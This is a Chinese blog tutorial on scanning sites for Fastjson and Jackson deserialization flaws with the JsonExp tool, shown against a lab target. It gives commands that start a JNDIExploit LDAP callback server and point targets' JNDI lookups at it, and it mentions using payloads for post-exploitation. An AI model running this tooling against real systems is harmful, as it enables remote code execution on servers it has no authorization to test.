一、简介
fastjson漏洞批量检测工具,根据现有payload,检测目标是否存在fastjson或jackson漏洞(工具仅用于检测漏洞),若存在漏洞,可根据对应payload进行后渗透利用,若出现新的漏洞时,可将最新的payload新增至txt中(需修改格式),工具完全替代手工检测,作为辅助工具使用。
二、LDAP检测环境搭建
将JNDIExploit-1.4-SNAPSHOT.jar文件拷贝到到指定的服务器
执行命令:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0 -l 8091 -p 8092
将域名换成IP:端口即可(上图中使用的是8091作为LDAP服务端口) 备注:服务器端口需要开启外网访问权限
服务启动成功
三、下载FastJson反序列化检测工具,我这里是解压到windos本地
命令使用介绍:
参数 | 别名 | 作用 | 例子 |
---|---|---|---|
-u | --url | 指定目标url | -u http://www.test.com |
-uf | --urlfile | 指定目标url文档,每行一个url | -uf url.txt |
-req | --request | 指定请求包 | -req request.txt |
-to | --timeout | 指定请求超时时长,默认为5秒 | -to 8 |
-f | --file | 指定payload文本路径,默认为template/fastjson.txt | -f payload.txt |
-t | --type | 指定HTTP请求类型,默认为post | -t get |
-l | --ldap | 指定ldap地址 | -l xxx.xxx.xxx:8080 |
-r | --rmi | 指定rmi地址 | -r xxx.xxx.xxx:8080 |
-c | --cookie | 指定cookie值 | --cookie "name=xxx;sessionid=xxxxx" |
-pro | --protocol | 指定请求包所使用的协议,需结合-req参数使用,默认为http协议 | -req request.txt -pro https |
-proxy | --proxy | 设置代理 | --proxy http://127.0.0.1:8080 |
-dnslog | --dnslog | 是否申请dnslog进行检测,默认为false(此功能需挂全局代理) | --dnslog true |
windows系统:
在JsonExp.exe目录打开cmd界面 检测单个站点: JsonExp -u [目标] -l [LDAP服务地址] 根据请求包检测单个站点: JsonExp -req [目标.txt] -l [LDAP服务地址] 根据文本检测多个站点: JsonExp -uf [目标.txt] -l [LDAP服务地址]
Linux系统:
添加权限: chmod +x JsonExp_linux 检测单个站点: ./JsonExp_linux -u [目标] -l [LDAP服务地址] 根据请求包检测单个站点: ./JsonExp_linux -req [目标.txt] -l [LDAP服务地址] 根据文本检测多个站点: ./JsonExp_linux -uf [目标.txt] -l [LDAP服务地址]
这里演示windos使用操作:
以下是提前构建好的fastjion漏洞靶场:
-u 域名扫描:
JsonExp.exe -l 14.116.152.57:8091 -u http://14.116.152.57:8090/
扫描完成后:
此时去检查LDAP服务是否有报错:
查看报告:
如果实在不懂报错什么意思,可以让gpt翻译一下:
到此FastJson反序列化漏洞检测复现成功
备注:
检测txt文件示例:
文件格式示例:
标签:FastJson,txt,--,检测,xxx,JsonExp,漏洞,LDAP,序列化 From: https://www.cnblogs.com/xfbk/p/18132149